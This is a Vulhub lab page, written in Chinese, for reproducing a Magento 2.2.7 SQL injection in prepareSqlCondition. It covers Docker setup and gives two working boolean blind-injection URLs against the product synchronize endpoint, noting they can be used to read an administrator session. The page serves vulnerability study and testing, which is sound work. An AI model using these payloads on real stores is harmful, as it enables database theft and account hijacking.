Magento 2.2 SQL注入漏洞
Path magento/2.2-sqli
Magento(麥進斗)是一款新的專業開源電子商務平臺,采用php進行開發,使用Zend Framework框架。設計得非常靈活,具有模塊化架構體系和豐富的功能。
其prepareSqlCondition函數存在一處二次格式化字符串的bug,導致引入了非預期的單引號,造成SQL注入漏洞。
參考鏈接:
- https://www.ambionics.io/blog/magento-sqli
- https://devdocs.magento.com/guides/v2.2/release-notes/ReleaseNotes2.2.8CE.html
環境搭建
執行如下命令啟動Magento 2.2.7:
docker-compose up -d
環境啟動后,訪問http://your-ip:8080,即可看到Magento的安裝頁面。安裝Magento時,數據庫地址填寫mysql,賬號密碼均為root,其他保持默認:

漏洞復現
分別訪問如下鏈接:
- http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d0)+--+-
- http://your-ip:8080/catalog/product_frontend_action/synchronize?type_id=recently_products&ids[0][added_at]=&ids[0][product_id][from]=%3f&ids[0][product_id][to]=)))+OR+(SELECT+1+UNION+SELECT+2+FROM+DUAL+WHERE+1%3d1)+--+-
可見,在執行))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -和))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=0) -- -時,返回的HTTP狀態碼不同:


通過改變OR的條件,即可實現SQL BOOL型盲注。
利用這個POC,可以讀取管理員的session:

Vulhub 文檔